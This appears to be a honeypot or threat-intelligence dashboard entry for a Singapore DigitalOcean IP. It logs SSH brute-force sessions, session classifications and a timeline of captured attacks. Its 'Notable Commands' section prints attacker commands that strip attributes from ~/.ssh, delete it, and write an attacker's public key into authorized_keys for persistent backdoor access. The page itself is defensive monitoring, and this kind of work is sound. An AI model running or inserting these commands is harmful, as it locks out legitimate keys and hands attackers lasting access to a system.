← Back to feed

159.223.40.78

Threat Confidence
54%
Location
🇸🇬 SG / Singapore
ASN
AS14061 · DigitalOcean, LLC
Cloud Provider
DigitalOcean
Total Events
323
Top 10% by volume
Agent Count
1
First / Last Seen
2026-04-13 00:52 — 2026-04-13 01:37
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Credential Access
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
malware_dropper ×11 credential_harvester ×25 opportunistic_bruter ×11
Sessions
47 (22 with login)
Avg Depth Score
0.54
Commands Executed
33
Files Downloaded
11
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
03a80b21afa810682a776a7d42e5e6fb
SSH-2.0-libssh_0.11.1
Evidence Timeline
Malware Dropper caa1511cdcf0 w4m_seattle_01 · 2026-04-13 01:37
3 1 1 100%
Loading events...
Opportunistic Bruter ac1a83d4336e w4m_seattle_01 · 2026-04-13 01:37
1 50%
Loading events...
Credential Harvester ab816fa3b90e w4m_seattle_01 · 2026-04-13 01:37
1 35%
Loading events...
Malware Dropper 0c4207f04192 w4m_seattle_01 · 2026-04-13 01:35
3 1 1 100%
Loading events...
Opportunistic Bruter 1b61243c5a95 w4m_seattle_01 · 2026-04-13 01:35
1 50%
Loading events...
Credential Harvester 55ae3d89dbc7 w4m_seattle_01 · 2026-04-13 01:35
1 35%
Loading events...
Credential Harvester 9a9a92ede9b1 w4m_seattle_01 · 2026-04-13 01:34
1 35%
Loading events...
Credential Harvester 71975ff13f30 w4m_seattle_01 · 2026-04-13 01:32
1 35%
Loading events...
Credential Harvester 98f0cef97d46 w4m_seattle_01 · 2026-04-13 01:30
1 35%
Loading events...
Credential Harvester b18534326d67 w4m_seattle_01 · 2026-04-13 01:29
1 35%
Loading events...
Opportunistic Bruter f8d654905a72 w4m_seattle_01 · 2026-04-13 01:27
1 50%
Loading events...
Malware Dropper 70eff79c7e2a w4m_seattle_01 · 2026-04-13 01:27
3 1 1 100%
Loading events...
Credential Harvester a95ca37dab8d w4m_seattle_01 · 2026-04-13 01:27
1 35%
Loading events...
Credential Harvester 34eeeaeca1c0 w4m_seattle_01 · 2026-04-13 01:25
1 35%
Loading events...
Opportunistic Bruter 337d46163eaa w4m_seattle_01 · 2026-04-13 01:23
1 50%
Loading events...
Malware Dropper f2627bb3b7bd w4m_seattle_01 · 2026-04-13 01:23
3 1 1 100%
Loading events...
Credential Harvester 598c3d02a0b6 w4m_seattle_01 · 2026-04-13 01:23
1 35%
Loading events...
Opportunistic Bruter e42f59991df3 w4m_seattle_01 · 2026-04-13 01:21
1 50%
Loading events...
Malware Dropper 4009fadaefce w4m_seattle_01 · 2026-04-13 01:21
3 1 1 100%
Loading events...
Credential Harvester 5f9e5b5e96da w4m_seattle_01 · 2026-04-13 01:21
1 35%
Loading events...
Credential Harvester af55796d9f60 w4m_seattle_01 · 2026-04-13 01:20
1 35%
Loading events...
Opportunistic Bruter e862166b7204 w4m_seattle_01 · 2026-04-13 01:18
1 50%
Loading events...
Malware Dropper 40951ca2ee1c w4m_seattle_01 · 2026-04-13 01:18
3 1 1 100%
Loading events...
Credential Harvester b90b398fa4f9 w4m_seattle_01 · 2026-04-13 01:18
1 35%
Loading events...
Malware Dropper ac9febbe2dc9 w4m_seattle_01 · 2026-04-13 01:16
3 1 1 100%
Loading events...
Opportunistic Bruter 5f60e2497d54 w4m_seattle_01 · 2026-04-13 01:16
1 50%
Loading events...
Credential Harvester e4dc2fbeaed6 w4m_seattle_01 · 2026-04-13 01:16
1 35%
Loading events...
Credential Harvester 8bbfe89c488d w4m_seattle_01 · 2026-04-13 01:14
1 35%
Loading events...
Opportunistic Bruter e0ce8bfc3d76 w4m_seattle_01 · 2026-04-13 01:13
1 50%
Loading events...
Malware Dropper 7be438682373 w4m_seattle_01 · 2026-04-13 01:13
3 1 1 100%
Loading events...
Credential Harvester ddd8e28d5a7e w4m_seattle_01 · 2026-04-13 01:13
1 35%
Loading events...
Credential Harvester 61ab4d844c2b w4m_seattle_01 · 2026-04-13 01:11
1 35%
Loading events...
Opportunistic Bruter ca41d4418405 w4m_seattle_01 · 2026-04-13 01:09
1 50%
Loading events...
Malware Dropper 73b51725b1d4 w4m_seattle_01 · 2026-04-13 01:09
3 1 1 100%
Loading events...
Credential Harvester afdef2090eaa w4m_seattle_01 · 2026-04-13 01:09
1 35%
Loading events...
Opportunistic Bruter 0c9a668634a7 w4m_seattle_01 · 2026-04-13 01:07
1 50%
Loading events...
Malware Dropper 8342aa66e670 w4m_seattle_01 · 2026-04-13 01:07
3 1 1 100%
Loading events...
Credential Harvester c504df22fd77 w4m_seattle_01 · 2026-04-13 01:07
1 35%
Loading events...
Credential Harvester e13e8dab8aac w4m_seattle_01 · 2026-04-13 01:06
1 35%
Loading events...
Credential Harvester 77be2132256a w4m_seattle_01 · 2026-04-13 01:04
1 35%
Loading events...
Opportunistic Bruter d1f9f6762059 w4m_seattle_01 · 2026-04-13 01:02
1 50%
Loading events...
Malware Dropper 2e38d823da23 w4m_seattle_01 · 2026-04-13 01:02
3 1 1 100%
Loading events...
Credential Harvester 50a022195f32 w4m_seattle_01 · 2026-04-13 01:02
1 35%
Loading events...
Credential Harvester 9a75ccca33db w4m_seattle_01 · 2026-04-13 01:00
1 35%
Loading events...
Credential Harvester d32962ed2707 w4m_seattle_01 · 2026-04-13 00:58
1 35%
Loading events...
Credential Harvester 8de38111a9ab w4m_seattle_01 · 2026-04-13 00:57
1 35%
Loading events...
Credential Harvester 6e7a9185e5c4 w4m_seattle_01 · 2026-04-13 00:52
1 35%
Loading events...